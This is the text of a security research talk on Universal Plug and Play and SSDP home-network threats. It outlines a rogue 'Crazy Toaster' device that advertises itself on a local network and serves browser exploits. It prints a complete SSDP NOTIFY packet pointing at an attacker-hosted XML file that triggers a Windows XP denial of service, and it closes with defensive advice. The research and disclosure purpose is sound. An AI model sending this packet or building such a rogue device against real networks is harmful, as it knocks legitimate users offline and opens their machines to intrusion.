“A Crazy Toaster: Can Home Devices turn against us?”

Dror Shalev
SmartDefense Research Center
drors@checkpoint.com
Agenda

- Introduction
- Trust, technology and new privacy issues
- Overview of home networking and early threats
- Steps to create a Crazy Toaster Trojan
- Demonstration
- Side effect: Windows XP SSDP distributed Dos
- Side effect Demonstration
- TODO, Extended ideas
- Respect
- Q&A
Introduction

WARNING

Electric Shock May Cause Serious Injury Or Death

Use Extreme Caution When Attempting The Following
Introduction

- Mission: World domination via single UDP packet
- Do we care if our home Toaster sees us Naked?
- Can Home Devices turn against us, spy on our Network?
- Privacy and trust issues raised by technology, New hardware & Cool devices
Common privacy issues:
- Technology is about to replace the trust model we use today
- People get confused between people that know things and machines that know things
- Do we care if Google machines know that we would like to pay for porn?
- Does this information can be given to a human?

Trust models:
- Usually we don’t trust a human in 100% to be able to deal with his knowledge about us
- Should we trust corporations like Google?
- Should we trust hardware and software vendors?
Overview of home networking

- Home networking in Windows XP and in Windows Vista
- Peer-to-peer networking of PCs, networked appliances and wireless devices
- UPnP architecture
- UPnP, Overview of a distributed, open architecture based on TCP/IP, UDP and HTTP
- IPv6 – Reintroduce old exploits (land attack MS06-064)
- Security exploits and early threats
In Vista’s Network Explorer (the replacement to XP’s Network Neighborhood), devices are discovered using function discovery.

Function discovery can find devices using much more efficient, diverse and robust protocols than were available in XP’s Network Neighborhood.

These protocols include NetBios, UPnP/SSDP, and Web Services Discovery (WSD).
Overview of home networking

- Home networking in Windows Vista
  - Windows Peer-to-Peer Networking
  - People Near Me (PNM)
  - Network discovery
  - Media sharing
Overview of home networking
Overview of home networking

Wireless Connectivity

- Hacker
- Webpage with virus
- Media Center
- VoIP
- Wireless Access Point
- Crazy Toaster
- Low-end Appliance
- Cell phone
Universal Plug and Play (UPnP)

- The UPnP architecture is a distributed, open networking architecture that leverages TCP/IP and the Web to enable seamless proximity networking in addition to control and data transfer among networked devices in the home, office, and everywhere in between.

- What are the benefits of UPnP technology?
  - Media and device independence. UPnP technology can run on any network technology including Wi-Fi, coax, phone line, power line, Ethernet and 1394.
  - Platform independence. Vendors can use any operating system and any programming language to build UPnP products.
  - Internet-based technologies. UPnP technology is built upon IP, TCP, UDP, HTTP, and XML, among others.
  - UI Control. UPnP architecture enables vendor control over device user interface and interaction using the browser.
  - Programmatic control. UPnP architecture enables conventional application programmatic control.
  - Common base protocols. Vendors agree on base protocol sets on a per-device basis.
  - Extendable. Each UPnP product can have value-added services layered on top of the basic device architecture by the individual manufacturers.
UPnP, IGDs, SSDP on XP

- UPnP is a collection of standards and protocols that permits Windows to provide discovery and interoperability between a wide variety of Universal Plug and Play network devices
  - When connected to a network, UPnP devices immediately provide their services and use other services on the network
  - Such devices may include anything from standard computing equipment to kitchen appliances and home entertainment systems
  - By default, the UPnP client is not installed

- The Internet Gateway Device Discovery and Control Client permits Windows to detect and interact with Internet gateway devices (IGDs)
  - IGDs include routers and computers running Internet Connection Sharing. Such devices can support detection by either UPnP or the Internet Gateway Device Discovery and Control Client
  - IDG devices use the Simple Service Discovery Protocol (SSDP) to broadcast their availability on the network
  - This permits clients to automatically locate the IDG device and use the device as their default gateway for external network access
  - By default, the Internet Gateway Device Discovery and Control Client is installed
Simple Service Discovery Protocol (SSDP)

- On a default XP installation, no support is added for device control, as it would be the case in an installation of UPNP from "Network Services"
- Although Microsoft added default support for an "InternetGatewayDevice", that was added to aid leading network hardware manufactures in making UPnP enabled "gateway devices"

Retrieving Device and Service Descriptions
## Early threats

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Date</th>
<th>Severity</th>
<th>Credit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apple Mac OS X mDNSResponder Remote Buffer Overflow</td>
<td>2007-05-24</td>
<td>High</td>
<td>Michael Lynn, Juniper</td>
</tr>
<tr>
<td>Linksys WRT54GX V2.0 WAN Port UPnP</td>
<td>2006-10-11</td>
<td>Mid</td>
<td>Armijn Hemel</td>
</tr>
<tr>
<td>Multiple D-Link Routers UPNP Buffer Overflow</td>
<td>2006-07-24</td>
<td>High</td>
<td>Barnaby Jack, eEye</td>
</tr>
<tr>
<td>Belkin 54G Wireless Router Multiple Vulnerabilities</td>
<td>2005-03-17</td>
<td>Mid</td>
<td>pureone</td>
</tr>
<tr>
<td>Multiple Linksys Routers Gozila.CGI Denial Of Service</td>
<td>2004-06-02</td>
<td>Mid</td>
<td>Alan McCaig, b0f</td>
</tr>
<tr>
<td>Xavi DSL Router UPNP Long Request Denial Of Service</td>
<td>2003-07-22</td>
<td>Mid</td>
<td>David F. Madrid</td>
</tr>
<tr>
<td>Netgear FM114P ProSafe Wireless Router Rule Bypass</td>
<td>2003-04-02</td>
<td>High</td>
<td>Björn Stickler</td>
</tr>
<tr>
<td>Netgear FM114P ProSafe Wireless Router UPnP Information Disclosure</td>
<td>2003-04-02</td>
<td>Mid</td>
<td>Björn Stickler</td>
</tr>
<tr>
<td>Netgear FM114P Wireless Firewall File Disclosure</td>
<td>2003-02-09</td>
<td>Mid</td>
<td>Björn Stickler</td>
</tr>
<tr>
<td>Multiple Linksys Devices strcat() Buffer Overflow</td>
<td>2002-12-02</td>
<td>High</td>
<td>Gerardo Richarte, CORE</td>
</tr>
<tr>
<td>Linksys Router Unauthorized Management Access</td>
<td>2002-11-17</td>
<td>Mid</td>
<td>Seth Bromberger</td>
</tr>
<tr>
<td>Microsoft UPnP NOTIFY Buffer Overflow [MS01-059]</td>
<td>2001-12-19</td>
<td>Critical</td>
<td>Riley Hassell, eEye</td>
</tr>
<tr>
<td>Microsoft Universal Plug and Play Simple Service Discovery Protocol Dos</td>
<td>2001-12-19</td>
<td>Mid</td>
<td>Riley Hassell, eEye</td>
</tr>
<tr>
<td>Microsoft UPnP Denial of Service</td>
<td>2001-10-31</td>
<td>Low</td>
<td>‘Ken’ from FTU</td>
</tr>
<tr>
<td>Windows ME Simple Service Discovery Protocol Denial of Service</td>
<td>2001-10-17</td>
<td>Mid</td>
<td>milo omega</td>
</tr>
</tbody>
</table>
Steps to create a Crazy Toaster Trojan

- While researching SSDP & UPnP we realized that protocols allow not only routers, media players, servers and other devices to connect seamlessly but also to attackers
- A scenario of “Crazy Toaster”, Trojan device, or software with TCP/IP capabilities like Routers, Media Players, Access Points, that join Local area network and become security hazard is possible
Steps to create a Crazy Toaster Trojan

Recipe: Building your own Trojan

Needed Ingredients
- Toaster
- Hardware: Any or none
- Software: Select an UPnP Stack vendor sample (Intel, Siemens)
- Network Access to the victim’s network
  (worm victim, multicast, social engineering, physical access)

Problems
- Heat
- Linux 2 Nokia IPSO porting
- Shipping
Steps to create a Crazy Toaster Trojan

- Our Crazy Toaster will advertise its presence on victim local network
- Trojan Discovery process uses:
  - HTTPU (HTTP over UDP)
  - HTTPMU for UDP multicast, to 239.255.255.250:1900
  - Sends HTTP packets to multiple (multicast) systems over UDP
  - Social engineering: declare as anything from standard computing equipment to kitchen appliances and home entertainment systems
- Presentation web server
  - JavaScript, Ajax & browser bugs
  - Use known techniques & exploits from the wild (MPack)
  - Retrieve attack payload from remote host
Steps to create a Crazy Toaster Trojan
Demonstration

- Physical run of “Crazy Toaster” Trojan attack
- Physical run of advanced attack vectors:
  - Discovery
  - Presentation
  - Social engineering
  - Browser exploits

- Nokia IPSO 6 hardware
- Posix / Win sdk
- Crazy Toaster Demo
Windows XP SSDP distributedDos

- Side effect: Windows XP Simple Service Discovery Protocol Distributed Denial of Service Vulnerability
- Single multicast UDP packet cause XP victims to Parse well formatted xml document ➔ recursive logic Bomb
- Memory Consumption – 100% CPU on entire lan segment
- Virtual memory page file going crazy
- Can be done via software (spyware, worm)
- Distributed damage and possible attack vectors
- A remote attacker that resides on the lan segment connected to the affected appliance/Trojan may exploit this vulnerability to deny service for all legitimate lan users

* MS will fix this in service pack 3 for XP
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=9
LOCATION:http://AttackerInLanHost/upnp/trojan/ilya.xml
NT: urn: schemas-upnp-org:device:InternetGatewayDevice:1
NTS: ssdp:alive
SERVER: Drors/2005 UPnP/1.0 SVCHostDLLkiller/1.1
USN: uuid:CrazyToasterByDrorRespect2eEye
Side effect Demonstration

- Kitchen appliance in smart home become Crazy
- Physical run of Windows XP Simple Service Discovery Protocol Distrusted Denial of Service Vulnerability
- Logic Bomb discovery in wired or wireless local network

- Demo Kill xml
TODO, Extended ideas

- Arp poisoning, kernel bugs
- Wireless hacking, WEP cracking,
- Linux embedded systems, MIPS
- Cell phone hacking, GPS, IPhone
- Media centers, Game consoles
- DivX worm, Copy Rights Bomb
- Record sound, IP hidden Cam
- IPV6
Cheap hardware appliances open a door for “bad guys”
Wireless Hardware & IPV6 opens new ball game
Trust no one (hardware & software vendors, free gifts)
Home devices can be target to remote attacks (Buffer overflows, CSRF, XSS, )
The SSDP Discovery Service and Universal Plug and Play Host service should both be set to disabled
In Vista, disable ‘Network discovery’
Can Home Devices turn against us?
Oh yeah,
Home Devices are as bad as their software authors
Respect

- UPnP™ Forum
- HackTheToaster.com
- eEye
- Project Cowbird, $30, 30 Minutes, 30 Networks
- Exploiting embedded systems, Barnaby Jack
- UPnP Stack Vendors, Intel UPnP, CyberLink, Siemens AG
- OSGI alliance
- Dog's Toaster, Defcon 9
- UPnP Hacks
Q&A

- **Q:** Why hack a toaster?
  **A:** Why not?

* Slides and Toaster source code: